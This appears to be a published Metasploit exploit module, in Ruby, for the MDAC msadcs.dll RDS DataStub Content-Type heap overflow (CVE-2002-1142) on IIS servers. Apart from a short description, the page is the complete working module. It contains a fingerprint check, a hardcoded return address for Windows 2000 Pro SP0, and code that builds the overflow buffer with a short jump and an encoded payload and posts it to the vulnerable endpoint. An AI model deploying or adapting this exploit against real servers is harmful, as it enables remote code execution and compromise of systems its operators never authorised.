Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow

This Metasploit module can be used to execute arbitrary code on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service. The service is exploitable even when RDS is configured to deny remote connections (handsafe.reg). The service is vulnerable to a heap overflow where the RDS DataStub 'Content-Type' string is overly long. Microsoft Data Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.

Exploit

##

# $Id$

##

 

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

  Rank = NormalRanking

 

  include Msf::Exploit::Remote::HttpClient

 

  def initialize

    super(

      'Name'        => 'Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',

      'Description' => %q{

          This module can be used to execute arbitrary code on IIS servers

          that expose the /msadc/msadcs.dll Microsoft Data Access Components

          (MDAC) Remote Data Service (RDS) DataFactory service. The service is

          exploitable even when RDS is configured to deny remote connections

          (handsafe.reg). The service is vulnerable to a heap overflow where

          the RDS DataStub 'Content-Type' string is overly long. Microsoft Data

          Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.

      },

      'Author'      => 'patrick',

      'Version'     => '$Revision$',

      'Platform'    => 'win',

      'References'  =>

        [

          ['OSVDB', '14502'],

          ['BID', '6214'],

          ['CVE', '2002-1142'],

          ['MSB', 'ms02-065'],

          ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']

        ],

      'Privileged'     => false,

      'Payload'        =>

        {

          'Space'    => 1024,

          'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&amp;",

          'StackAdjustment' => -3500,

        },

      'DefaultOptions' =>

        {

          'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully

        },

      'Targets'     =>

        [

          # patrickw tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0

          [ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll

        ],

      'DefaultTarget'  => 0,

      'DisclosureDate' => 'Nov 20 2002'

    )

 

    register_options(

      [

        OptString.new('PATH', [ true,  "The path to msadcs.dll", '/msadc/msadcs.dll']),

      ], self.class)

  end

 

  def check

    res = send_request_raw({

        'uri'          =>  datastore['PATH'],

        'method'       => 'GET',

      })

    if (res and res.code == 200)

      print_status("Server responded with HTTP #{res.code} OK")

      if (res.body =~ /Content-Type: application\/x-varg/)

        print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")

        Exploit::CheckCode::Detected

      end

    else

      Exploit::CheckCode::Safe

    end

  end

 

  def exploit

    sploit = rand_text_alphanumeric(136)

    sploit[24,2] = Rex::Arch::X86.jmp_short(117)

    sploit << [target['Ret']].pack('V')

    sploit << payload.encoded

 

    data  = 'Content-Type: ' + sploit

 

    res = send_request_raw({

      'uri'          => datastore['PATH'] + '/AdvancedDataFactory.Query',

      'headers' =>

        {

          'Content-Length' => data.length,

        },

 

      'method'       => 'POST',

      'data'         => data,

    })

 

    handler

  end

 

end